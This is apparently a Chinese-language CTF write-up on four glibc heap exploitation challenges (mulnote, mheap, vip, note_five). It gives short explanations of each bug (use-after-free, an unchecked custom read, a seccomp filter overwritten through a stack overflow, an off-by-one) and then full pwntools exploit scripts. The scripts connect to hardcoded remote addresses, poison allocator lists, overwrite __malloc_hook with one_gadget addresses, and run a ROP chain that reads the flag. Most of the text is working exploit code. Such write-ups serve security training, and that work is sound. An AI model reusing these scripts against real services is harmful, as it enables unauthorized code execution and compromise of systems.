初看程序,是一个经OLLVM混淆过的ELF,不过对我们做pwn没有太多的影响。用ida直接分析其主要函数,也是一个经典的堆菜单题目。含有增删改查四个功能。 其中这个free函数free过后有10秒钟的延迟,这个导致了UAF。那么有UAF这道题就迎刃而解了。
#coding:utf-8 from pwn import * import argparse # env = os.environ # env['LD_PRELOAD'] = './libc64.so' IP = '112.126.101.96' PORT = '9999' binary = './mulnote' io = None parser = argparse.ArgumentParser() parser.add_argument('-d', '--debugger', action='store_true') parser.add_argument('-r', '--remote', action='store_true') parser.add_argument('-l', '--local', action='store_true') args = parser.parse_args() sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) sla = lambda x,y : io.sendlineafter(x,y) rud = lambda x : io.recvuntil(x,drop=True) ru = lambda x : io.recvuntil(x) def lg(s, addr): print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr)) if args.remote: io = remote(IP, PORT) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF(binary) elif args.local or args.debugger: # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")} env = {} io = process(binary, env=env) elf = ELF(binary) proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))] libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6'] libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: parser.print_help() exit() def debug(msg=""): msg = """ x/20xg 0x{:x} """.format(proc_base + 0x202020) pwnlib.gdb.attach(io,msg) # raw_input() def create(sz,con): sla(">","C") sla(">",str(sz)) sla(">",con) def edit(idx,con): sla(">","E") sla(">",str(idx)) sla(">",con) def remove(idx): sla(">","R") sla(">",str(idx)) def show(): sla(">","S") def exploit(): create(0x90,'a') remove(0) show() leak = u64(ru("\x7f")[-6:].ljust(8,'\x00')) lg('leak',leak) base = leak - 0x3c4b78 __malloc_hook = base + libc.symbols['__malloc_hook'] lg('base',base) create(0x90,'a') create(0x60,'a') create(0x60,'b') remove(2) remove(3) remove(2) one_gg = base + 0x4526a create(0x60,p64(__malloc_hook - 0x13)) create(0x60,'junk') create(0x60,'junk') create(0x60,'a' * 3 + p64(one_gg)) # debug() io.interactive() if __name__ == "__main__": exploit() """ 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """
首先这个程序也是一个经典的堆题,分为增删改查4个功能。同其他堆题不一样的就是这个堆他不是真正意义上的堆,通过分析程序,它是通过mmap出一块内存出来之后,然后对这块内存进行管理,在bss有4个全局变量,分别是存放分配的size,mmap出来内存的地址,free掉堆块的链表的头部,正在使用中的堆块地址。malloc的时候首先会从free_list中查看是否存在一个堆块和我们想要申请的size一样的。如果一样就拿出来,不一样就遍历free_list,如果没有查找到,则从mmap内存切割,其实和top_chunk类似。然后free的话,直接将chunk放到free_top中去。edit,show函数没有什么好说的。其中堆块结构和glibc中的结构有点不一样的就是他的头部是存放的一个size和fd(类似fastbin)。那么其实分析到这里,按常规来说,没有发现什么漏洞,没有UAF。分配类似0x(8)这样块的大小,也不会占用下一块的头部。 有个这样的操作。那么其实这个漏洞点,是存在在自定义的read的中的。mmap出来的内存最大可以提供0x1000大小。然而它没有将总分配的size做比较,导致了我们可以分配到0x23330000 + 0x1000后面的内存,那么这里的内存是无效的。在read的时候就会出错,返回-1。 然后数据还存放在缓冲区中,此时v3的值会减小,下一次循环的时候读入数据会将缓冲区中的数据给read处理,然而有部分字节被处理了0x23330000后面的数据不能被处理,继续返回-1,v3继续变小,这样v3不断往前移动,最后移动到刚好覆盖chunk头部,fd写入bss地址,bss地址构造一个size。然后就可以分配到bss段上了,直接修改store_ptr的地方,修改为got表,leak and write即可Getshell。
。exp如下
#coding:utf-8 from pwn import * import argparse IP = '47.112.139.218' PORT = '13132' binary = './mheap' io = None parser = argparse.ArgumentParser() parser.add_argument('-d', '--debugger', action='store_true') parser.add_argument('-r', '--remote', action='store_true') parser.add_argument('-l', '--local', action='store_true') args = parser.parse_args() sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) ru = lambda x : io.recvuntil(x) rud = lambda x : io.recvuntil(x,drop=True) ruf = lambda x : io.recvuntil(x) uu64 = lambda x : u64(x[-6:].ljust(8,'\x00')) def lg(s, addr): print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr)) if args.remote: io = remote(IP, PORT) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF(binary) elif args.local or args.debugger: # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")} env = {} io = process(binary, env=env) elf = ELF(binary) proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))] libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6'] libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: parser.print_help() exit() def debug(msg=""): msg = """ x/80xg 0x23330000 b *0x40121F b *0x401568 """ pwnlib.gdb.attach(io,msg) def malloc(idx,sz,con): ru("choice") sl("1") ru("Index") sl(str(idx)) ru("size") sl(str(sz)) ru("Content") sd(con) def show(idx): ru("choice") sl("2") ru("Index") sl(str(idx)) def free(idx): ru("choice") sl("3") ru("Index") sl(str(idx)) def edit(idx,con): ru("choice") sl("4") ru("Index") sl(str(idx)) sleep(0.3) sd(con) def exploit(): malloc(0, 0xfc0, '/bin/sh\n') malloc(1, 0x10, '\0' * 0x10) free(1) malloc(2, 0x28, p64(0x4040d0) + '\0' * 0x1f + '\n') malloc(3, 0x23330fd0 - 0x10, p64(elf.got['atoi']) + '\n') show(0) leak = u64(io.recvuntil('\n', drop=True)[-6:].ljust(8,'\x00')) lg('leak',leak) base = leak - libc.symbols['atoi'] lg("base",base) edit(0, p64(base + libc.symbols['system']) + '\n') io.sendline('/bin/sh\x00') io.interactive() if __name__ == "__main__": exploit() """ 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """
同样也是一道堆题,题目环境是libc2.27,带tcache环境。
题目有5个选单。malloc只能分配0x50个字节的大小。free直接free掉,然后置0,不存在uaf。show也是普通的打印,比较不一样的就是edit功能和become vip功能。 edit功能首先判断全局变量,如果不为0,就读取标准输入到chunk上,不然读随机数到chunk上,这就是本程序的一个很大的限制,不能读取我们的输入到堆块上,也就是堆块内容不可控,当然这边也存在一个未校验size的漏洞。可以无限读取,那么本题其实主要首先会想如何修改这个全局变量的值,当然首先考虑unsorted bin attack,但是这里堆块内容不可控,这个攻击也无法实现,再来看看become vip函数吧。这里是输入一个name到栈上,然后对程序使用seccomp保护。这里可以使用seccomp-tools对其进行分析。 这里只允许四个系统调用,然而我们发现当我们become vip之后,也就是调用设置沙箱规则之后,edit的open("/dev/random")会返回-1,也就是打开失败,这里我们明明看到是open没有被限制,那么这里是什么原因造成的的呢? 这里就可以看出来了,openat被限制了。 那么这里输入的buf是存在溢出的,这里可以溢出30个字节,下面的其实就是沙箱的规则,这里的主要思路就是利用溢出修改啥箱规则,去让openat返回0。然后就可以正常读取输入了。https://github.com/david942j/seccomp-tools这是我使用的一个工具。
1.1 malloc的size不可控,但是程序中存在scanf。利用scanf导致fastbin chunk合并进入small bin, leak libc
1.2 第二种leak的话其实和第一种不一样,第一种情况是对于不能控制输入到堆块的内容的leak,这一种是首先让堆块内容可控,然后edit修改下一块size即可。也是leak main_arena。
#coding:utf-8 from pwn import * import argparse context.binary = './vip' IP = '112.126.103.14' PORT = '9999' binary = './vip' io = None parser = argparse.ArgumentParser() parser.add_argument('-d', '--debugger', action='store_true') parser.add_argument('-r', '--remote', action='store_true') parser.add_argument('-l', '--local', action='store_true') args = parser.parse_args() sa = lambda x,y : io.sendafter(x,y) sla = lambda x,y : io.sendlineafter(x,y) sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) ru = lambda x : io.recvuntil(x) rud = lambda x : io.recvuntil(x,drop=True) ruf = lambda x : io.recvuntil(x) uu64 = lambda x : u64(x[-6:].ljust(8,'\x00')) def lg(s, addr): print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr)) if args.remote: io = remote(IP, PORT) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF(binary) elif args.local or args.debugger: # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")} env = {} io = process(binary, env=env) elf = ELF(binary) proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))] libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6'] libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: parser.print_help() exit() def debug(msg=""): msg = """ b *0x401411 b *0x401547 x/80xg 0x404100 b *0x401515 b *0x40151C b *0x4014F0 b *0x4014eb x/8xg 0x4040E0 """ pwnlib.gdb.attach(io,msg) def malloc(idx): sla("choice","1") sla("Index",str(idx)) def show(idx): sla("choice","2") sla("Index",str(idx)) def free(idx): sla("choice","3") sla("Index",str(idx)) def edit(idx,sz): sla("choice","4") sla("Index",str(idx)) sla("Size",str(sz)) def edit_chunk(idx,sz,con): sla("choice","4") sla("Index",str(idx)) sla("Size",str(sz)) sd(con) def vip(name): sla("choice","6") sa("name",name) def ssl(con): sl(con) sleep(0.2) def exploit2(): malloc(0) buf = 0x20 * 'a' buf += " \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x03>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\t\x00\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00" # buf = "\x00\x00\x00\x00\x00\x00\x00\x00\xca\x20\x40\x00\x00\x00\x00\x00\xa0\x92\x0b\xc5\x4a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x08\x3e\x00\x00\xc0\x20\x00\x00\x00\x00\x00\x00\x00\x35\x00\x06\x00\x00\x00\x00\x40\x15\x00\x04\x00\x01\x00\x00\x00\x15\x00\x03\x00\x00\x00\x00\x00" buf = buf[:0x50] # debug() vip(buf) debug() io.interactive() def exploit(): [malloc(i) for i in range(0,16)] [free(i) for i in range(0,15)] [malloc(i) for i in range(0,7)] edit(15,"1" * 0x400) malloc(0) show(0) leak = u64(ru("\x7f")[-6:].ljust(8,'\x00')) lg('leak',leak) base = leak - 0x3ebf90 system = base + libc.symbols['system'] __malloc_hook = base + libc.symbols['__malloc_hook'] lg('base',base) __free_hook = base + libc.symbols['__free_hook'] printf = base + libc.symbols['printf'] # orig_rules = "\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x08\x3E\x00\x00\xC0\x20\x00\x00\x00\x00\x00\x00\x00\x35\x00\x06\x00\x00\x00\x00\x40\x15\x00\x04\x00\x01\x00\x00\x00\x15\x00\x03\x00\x00\x00\x00\x00\x15\x00\x02\x00\x02\x00\x00\x00\x15\x00\x01\x00\x3C\x00\x00\x00\x06\x00\x00\x00\x05\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00" buf = "a" * 0x20 buf += " \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x04>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x01\x01\x01\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x00\x00" buf = buf[:0x50] vip(buf) free(5) free(2) edit_chunk(3,0x80,'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.got['puts'])) malloc(0) edit_chunk(0,0x10,'%p %p %p %p \x00') malloc(1) edit_chunk(1,0x10,p64(printf)) show(0) ru("999 ") stack_addr = int(rud(" Done"),16) lg('stack_addr',stack_addr - 73) # alloc to stack free(3) edit_chunk(4,0x80,'a' * 0x50 + p64(0) + p64(0x61) + p64(stack_addr - 73)) stack_payload = [ 0x00000000004018fb, # : pop rdi ; ret stack_addr - 73 + 0x100, 0x00000000004018f9, # : pop rsi ; pop r15 ; ret 0, 0, base + 0x00000000000439c8, # : pop rax ; ret 2, # sys_open base + 0x00000000000d2975, # : syscall ; ret 0x00000000004018fb, # : pop rdi ; ret 4, 0x00000000004018f9, # : pop rsi ; pop r15 ; ret 0x404800, 0, base + 0x0000000000001b96, # : pop rdx ; ret 0x100, elf.plt['read'], 0x00000000004018fb, # : pop rdi ; ret 0x404800, base + libc.symbols['puts'], 0x00000000004018fb, 0x0, elf.plt['exit'], ] """ syscall rdi --> "flag" rsi --> 0x0 rdx --> 0x0 rax --> syscall number read(fd,buf,0x100); puts(buf) """ malloc(1) malloc(2) # malloc to stack edit_chunk(2,0x400,flat(stack_payload).ljust(0x100,'\x00') + "flag\x00") # malloc(0) # malloc(1) # edit(0,0x50) io.interactive() if __name__ == "__main__": try: exploit() except EOFError as e: io.close() print "error" """ 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """
主要漏洞点就是off-by-one,由于限制了分配的大小,导致我们不能分配fastbin,这样fastbin attack攻击就无法实现。off-by-one威力还是挺大的,chunk overlap , chunk extend。
#coding:utf-8 from pwn import * import argparse # env = os.environ # env['LD_PRELOAD'] = './libc64.so' context.binary = './note_five' IP = '' PORT = '' binary = './note_five' io = None parser = argparse.ArgumentParser() parser.add_argument('-d', '--debugger', action='store_true') parser.add_argument('-r', '--remote', action='store_true') parser.add_argument('-l', '--local', action='store_true') args = parser.parse_args() sa = lambda x,y : io.sendafter(x,y) sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) sla = lambda x,y : io.sendlineafter(x,y) rud = lambda x : io.recvuntil(x,drop=True) ru = lambda x : io.recvuntil(x) def lg(s, addr): print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr)) if args.remote: io = remote(IP, PORT) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF(binary) elif args.local or args.debugger: # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")} env = {} io = process(binary, env=env) elf = ELF(binary) proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))] libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6'] libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: parser.print_help() exit() def debug(msg=""): msg = """ x/10xg 0x{:x} """.format(proc_base + 0x202080) pwnlib.gdb.attach(io,msg) # raw_input() def new(idx,sz): sla(">","1") sla("idx",str(idx)) sla("size",str(sz)) def edit(idx,con): sla(">","2") sla("idx",str(idx)) sla("content",con) def free(idx): sla(">","3") sla("idx",str(idx)) def exploit(): new(0, 0x98) new(1, 0x98) new(2, 0x98) new(3, 0x98) free(0) # unsorted bin edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0)) free(2) new(0, 0xe8) edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10)) # change fd bk new(4, 0xe8) free(4) edit(1,'a' * 0x40 + flat(0x0,0xf1) + "\xcf\x25") new(4,0xe8) new(0,0xe8) edit(0,'\x00' * 0x41 + p64(0xfbad1800) + flat(0x0,0x0,0x0) + '\x00') #0xfbad1800 stdout = u64(ru("\x7f")[-6:].ljust(8,'\x00')) lg('stdout',stdout) base = stdout - 0x3c5600 lg('base',base) free(4) edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(base + libc.symbols['_IO_2_1_stdin_'] + 143)) new(4, 0xe8) new(0, 0xe8) edit(0, '\0' * 0xe1 + p32(0xf1) ) free(4) edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(base + libc.symbols['_IO_2_1_stdin_'] + 376)) new(4, 0xe8) new(0, 0xe8) edit(0, '\0' * 0xa0 + p64(base + 0x4526a) + p64(base + libc.symbols['realloc'] + 13)) new(0, 0xe8) io.interactive() if __name__ == "__main__": exploit() """ 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """
感谢ex师傅的指导
[挑战]看雪.纽盾 KCTF 2019晋级赛Q3攻击方进行中……,华为P30 Pro、iPad、kindle等你来拿!
最后于 5天前 被ChenSem编辑 ,原因: